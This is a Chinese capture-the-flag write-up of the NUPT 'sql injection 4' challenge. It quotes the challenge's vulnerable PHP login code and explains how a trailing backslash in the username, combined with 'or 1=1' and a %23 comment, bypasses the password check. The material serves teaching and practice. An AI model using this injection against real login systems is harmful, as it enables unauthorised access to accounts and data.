数据库
首页 > 数据库> > 南邮 sql injection 4

南邮 sql injection 4

作者:互联网

题目:

继续注入吧~
题目地址

TIP:反斜杠可以用来转义
仔细查看相关函数的用法

 打开后,ctrl+u得:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){ //如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);//htmlentities() 函数把字符转换为 HTML 实体。
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);//mysql_query() 函数执行一条 MySQL 查询。
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->
网上有一篇题解,题解中说的比较详细:


我们的目的是让result返回true,,这里必须要有sql的基础,mysql_query的执行:
SELECT * 

FROM users

WHERE name='admin \' AND pass=' #为假

or 1=1 #为真
我们不知道数据库中有哪个用户,对应哪个密码,猜是不可能的,所以见联想到了用一个 or 语句,加上一个永真的条件,最后用#把后面用不到的语句换成注释,#url编码%23。
--------------------------------------
php阅读
sql基础

get_magic_quotes_gpc()

htmlentities()

mysql_query()

标签:username,南邮,sql,htmlentities,result,mysql,query,injection,password
来源: https://www.cnblogs.com/islsy/p/10672000.html